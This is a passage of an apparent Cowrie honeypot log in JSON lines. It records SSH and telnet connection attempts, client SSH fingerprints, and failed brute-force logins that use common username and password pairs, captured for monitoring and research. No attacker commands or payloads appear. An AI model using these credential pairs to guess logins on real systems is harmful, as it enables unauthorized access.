{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:19.487513Z","src_ip":"45.156.87.254","session":"ede8809dc351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:20.574294Z","src_ip":"45.156.87.254","session":"ede8809dc351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59136,"dst_ip":"159.203.135.109","dst_port":22,"session":"3481fd5e0c25","protocol":"ssh","message":"New connection: 45.156.87.254:59136 (159.203.135.109:22) [session: 3481fd5e0c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:24.102366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:24.107517Z","src_ip":"45.156.87.254","session":"3481fd5e0c25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:24.194456Z","src_ip":"45.156.87.254","session":"3481fd5e0c25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:24.448854Z","src_ip":"45.156.87.254","session":"3481fd5e0c25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.29406929016113,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:25.399328Z","src_ip":"104.245.105.2","session":"7cc8344456a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:25.538594Z","src_ip":"45.156.87.254","session":"3481fd5e0c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":34456,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7bc29075b1a","protocol":"ssh","message":"New connection: 185.16.214.226:34456 (10.17.0.5:22) [session: e7bc29075b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:29.162844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:29.167770Z","src_ip":"185.16.214.226","session":"e7bc29075b1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47990,"dst_ip":"159.203.135.109","dst_port":22,"session":"92c92002a908","protocol":"ssh","message":"New connection: 45.156.87.254:47990 (159.203.135.109:22) [session: 92c92002a908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:29.242440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:29.247181Z","src_ip":"45.156.87.254","session":"92c92002a908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:29.297923Z","src_ip":"185.16.214.226","session":"e7bc29075b1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:29.329879Z","src_ip":"45.156.87.254","session":"92c92002a908","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:29.582408Z","src_ip":"45.156.87.254","session":"92c92002a908","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty","message":"login attempt [deploy/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:29.850493Z","src_ip":"185.16.214.226","session":"e7bc29075b1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:30.712117Z","src_ip":"45.156.87.254","session":"92c92002a908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:30.982966Z","src_ip":"185.16.214.226","session":"e7bc29075b1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.23842978477478,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:31.079783Z","src_ip":"104.245.105.2","session":"8c7244314dca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47996,"dst_ip":"159.203.135.109","dst_port":22,"session":"34d1a4a2e2ca","protocol":"ssh","message":"New connection: 45.156.87.254:47996 (159.203.135.109:22) [session: 34d1a4a2e2ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:34.409327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:34.416620Z","src_ip":"45.156.87.254","session":"34d1a4a2e2ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:34.500132Z","src_ip":"45.156.87.254","session":"34d1a4a2e2ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:34.766186Z","src_ip":"45.156.87.254","session":"34d1a4a2e2ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:35.855522Z","src_ip":"45.156.87.254","session":"34d1a4a2e2ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":43308,"dst_ip":"159.203.135.109","dst_port":22,"session":"19a698e85bbb","protocol":"ssh","message":"New connection: 45.156.87.254:43308 (159.203.135.109:22) [session: 19a698e85bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:39.425121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:39.430063Z","src_ip":"45.156.87.254","session":"19a698e85bbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:39.519924Z","src_ip":"45.156.87.254","session":"19a698e85bbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:39.832282Z","src_ip":"45.156.87.254","session":"19a698e85bbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:40.920666Z","src_ip":"45.156.87.254","session":"19a698e85bbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":43322,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b881dca6318","protocol":"ssh","message":"New connection: 45.156.87.254:43322 (159.203.135.109:22) [session: 9b881dca6318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:44.219543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:44.223987Z","src_ip":"45.156.87.254","session":"9b881dca6318","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:44.305413Z","src_ip":"45.156.87.254","session":"9b881dca6318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:44.559127Z","src_ip":"45.156.87.254","session":"9b881dca6318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:45.644618Z","src_ip":"45.156.87.254","session":"9b881dca6318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.20.69","src_port":27722,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff3e17384485","protocol":"ssh","message":"New connection: 65.49.20.69:27722 (10.17.0.5:22) [session: ff3e17384485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:46.690162Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xd9\\xdev\\xe9\\xc7\\xf8a\\x83\\x9a\\x89n\\xf4~\\x82\\x84Ckr\\xf5\\xa1\\xe2\\xc3\\xc5\u0018\\xf2_H\\xa3\\xdfG\r/\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xd9\\xdev\\xe9\\xc7\\xf8a\\x83\\x9a\\x89n\\xf4~\\x82\\x84Ckr\\xf5\\xa1\\xe2\\xc3\\xc5\u0018\\xf2_H\\xa3\\xdfG\r/\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:46.695015Z","src_ip":"65.49.20.69","session":"ff3e17384485","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:46.699104Z","src_ip":"65.49.20.69","session":"ff3e17384485","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":36770,"dst_ip":"10.17.0.5","dst_port":23,"session":"e61e6ae871ef","protocol":"telnet","message":"New connection: 20.123.41.163:36770 (10.17.0.5:23) [session: e61e6ae871ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:47.721099Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":33548,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec72d248c271","protocol":"ssh","message":"New connection: 186.30.115.187:33548 (10.17.0.5:22) [session: ec72d248c271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:48.477376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:48.482479Z","src_ip":"186.30.115.187","session":"ec72d248c271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:48.581078Z","src_ip":"186.30.115.187","session":"ec72d248c271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39878,"dst_ip":"159.203.135.109","dst_port":22,"session":"24a23d2ab9f0","protocol":"ssh","message":"New connection: 45.156.87.254:39878 (159.203.135.109:22) [session: 24a23d2ab9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:48.943598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:48.948686Z","src_ip":"45.156.87.254","session":"24a23d2ab9f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678aA","message":"login attempt [ubuntu/12345678aA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:49.010225Z","src_ip":"186.30.115.187","session":"ec72d248c271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.c